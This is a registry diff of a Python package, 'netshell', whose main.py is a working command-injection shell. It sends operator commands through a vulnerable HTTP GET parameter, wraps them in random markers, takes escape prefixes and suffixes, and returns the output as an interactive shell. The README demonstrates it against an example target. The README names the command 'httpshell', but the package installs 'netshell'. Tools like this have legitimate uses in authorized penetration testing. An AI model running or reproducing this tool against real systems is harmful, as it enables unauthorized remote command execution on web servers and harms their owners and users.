netshell 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
netshell/__init__.py ADDED
File without changes
netshell/main.py ADDED
@@ -0,0 +1,131 @@
1
+ import random
2
+ import string
3
+ import argparse
4
+ from html import unescape
5
+ import urllib.parse
6
+
7
+ import requests
8
+
9
+
10
+ # Configuration
11
+ address = None
12
+ parameter = None
13
+ url_encode = True
14
+ verbose = False
15
+ cookies = None
16
+ user_agent = None
17
+ prefix = None
18
+ suffix = None
19
+ no_preflight = False
20
+
21
+
22
+ def voutput(message):
23
+ if verbose:
24
+ print(f'[i] {message}')
25
+
26
+ def random_string(length=8):
27
+ return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
28
+
29
+
30
+ def extract_markers(response_text, start_marker, end_marker):
31
+ start_index = response_text.find(start_marker)
32
+ end_index = response_text.find(end_marker, start_index + len(start_marker))
33
+
34
+ if start_index == -1 or end_index == -1:
35
+ return None
36
+
37
+ return response_text[start_index + len(start_marker):end_index].strip()
38
+
39
+ def send_command(command):
40
+ start_marker = f"--{random_string(8)}--"
41
+ end_marker = f"--{random_string(8)}--"
42
+ wrapped_command = f"echo {start_marker};{command};echo {end_marker}"
43
+
44
+ if prefix:
45
+ wrapped_command = f"{prefix}{wrapped_command}"
46
+ if suffix:
47
+ wrapped_command = f"{wrapped_command}{suffix}"
48
+
49
+ if url_encode:
50
+ wrapped_command = urllib.parse.quote(wrapped_command)
51
+
52
+ url = f"{address}?{parameter}={wrapped_command}"
53
+ voutput(f"Sent command: {url}")
54
+ response = requests.get(url, cookies=cookies, headers={'User-Agent': user_agent} if user_agent else None)
55
+ voutput(f"Status code: {response.status_code}")
56
+ voutput(f"Response size: {len(response.text)}")
57
+
58
+ if response.status_code != 200:
59
+ print(f"[!] Command execution failed with status code: {response.status_code} and response: {response.text}")
60
+ return None
61
+
62
+ unescaped_response = unescape(response.text)
63
+ return extract_markers(unescaped_response, start_marker, end_marker)
64
+
65
+
66
+ def preflight_request():
67
+ preflight_random = random_string(16)
68
+ preflight_echo = f"echo {preflight_random}"
69
+
70
+ response = send_command(preflight_echo)
71
+ if not response:
72
+ print("[!] Preflight request failed: No response received.")
73
+ return False
74
+ if preflight_random not in response:
75
+ print("[!] Preflight request failed: Could not verify command output.")
76
+ return False
77
+ return True
78
+
79
+
80
+ def main():
81
+ global address, parameter, url_encode, verbose, cookies, user_agent, prefix, suffix, no_preflight
82
+ parser = argparse.ArgumentParser(description=" A lightweight HTTP CLI Shell that enables custom command injections into vulnerable web applications with a familiar shell-like interface.")
83
+ parser.add_argument("--address", "-a", help="Target address containing the full path. E.g., http://example.com/vulnerable.php")
84
+ parser.add_argument("--parameter", "-p", help="Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...")
85
+ parser.add_argument("--cookies", "-c", help="Use cookies for the request")
86
+ parser.add_argument("--agent", help="Set a custom User-Agent header for the requests")
87
+ parser.add_argument("--prefix", "-P", help="Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
88
+ parser.add_argument("--suffix", "-S", help="Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
89
+
90
+
91
+ parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
92
+ parser.add_argument("--no-url-encode", action="store_true", help="Disable URL encoding of commands")
93
+ parser.add_argument("--no-preflight", action="store_true", help="Skip preflight checks and go straight to the shell interface")
94
+
95
+ args = parser.parse_args()
96
+
97
+ address = args.address
98
+ parameter = args.parameter
99
+ url_encode = not args.no_url_encode
100
+ verbose = args.verbose
101
+ cookies = args.cookies
102
+ user_agent = args.agent
103
+ prefix = args.prefix
104
+ suffix = args.suffix
105
+ no_preflight = args.no_preflight
106
+
107
+ if not no_preflight:
108
+ is_successful = preflight_request()
109
+ if is_successful:
110
+ print("Connection successful!")
111
+ else:
112
+ print("Skipping preflight checks.")
113
+
114
+ host_name = urllib.parse.urlparse(address).netloc
115
+
116
+ # Shell-like environment
117
+ while True:
118
+ command = input(f"\n{host_name} > ")
119
+ if command.lower() in ['exit', 'quit']:
120
+ print("Exiting shell.")
121
+ break
122
+
123
+ output = send_command(command)
124
+ if output is not None:
125
+ print(f"{output}")
126
+ else:
127
+ print("[!] Failed to retrieve command output.")
128
+
129
+
130
+ if __name__ == "__main__":
131
+ main()
@@ -0,0 +1,52 @@
1
+ Metadata-Version: 2.4
2
+ Name: netshell
3
+ Version: 1.0.0
4
+ Summary: A CLI HTTP shell to connect to remote shells
5
+ Author: Richard A. Dubniczky
6
+ License: MIT License
7
+
8
+ Copyright (c) 2026 Richard A. Dubniczky
9
+
10
+ Permission is hereby granted, free of charge, to any person obtaining a copy
11
+ of this software and associated documentation files (the "Software"), to deal
12
+ in the Software without restriction, including without limitation the rights
13
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14
+ copies of the Software, and to permit persons to whom the Software is
15
+ furnished to do so, subject to the following conditions:
16
+
17
+ The above copyright notice and this permission notice shall be included in all
18
+ copies or substantial portions of the Software.
19
+
20
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
21
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
22
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
23
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
24
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
25
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
26
+ SOFTWARE.
27
+ Project-URL: Homepage, https://github.com/dubniczky/Netshell
28
+ Requires-Python: >=3.9
29
+ Description-Content-Type: text/markdown
30
+ License-File: LICENSE
31
+ Requires-Dist: requests>=2.33.1
32
+ Dynamic: license-file
33
+
34
+ # HTTP Shell
35
+
36
+ A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
37
+
38
+ ## Examples
39
+
40
+ The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
41
+
42
+ ```sh
43
+ httpshell -a http://example.com/vln.php -p q
44
+ ```
45
+ ```txt
46
+ Connection successful!
47
+
48
+ example.com > whoami
49
+ www-data
50
+ ```
51
+
52
+ Use `httpshell --help` for all flags and options.
@@ -0,0 +1,8 @@
1
+ netshell/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
2
+ netshell/main.py,sha256=h9WpQLpKkN6NhSQawH-Cm_PBHMOX9r8h4jyFTIIJio0,4810
3
+ netshell-1.0.0.dist-info/licenses/LICENSE,sha256=lhVh25rreMjcJXf0M-RWJ3gSW7RmxMpJWuU-tcNJrcY,1076
4
+ netshell-1.0.0.dist-info/METADATA,sha256=gwWbnxzyxMNl0zXuEzVN9j_gUEYs9DuoLrNXqAKXjOg,2092
5
+ netshell-1.0.0.dist-info/WHEEL,sha256=aeYiig01lYGDzBgS8HxWXOg3uV61G9ijOsup-k9o1sk,91
6
+ netshell-1.0.0.dist-info/entry_points.txt,sha256=BgOuH9rnkbeFjPHYUEkc7gx8MNiBN46g-Y7scLu4ZrI,48
7
+ netshell-1.0.0.dist-info/top_level.txt,sha256=EKal5XxBRHuw7NX4yyBrLfBSiC-pxrLYqvHQsqhED08,9
8
+ netshell-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (82.0.1)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ netshell = netshell.main:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Richard A. Dubniczky
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1 @@
1
+ netshell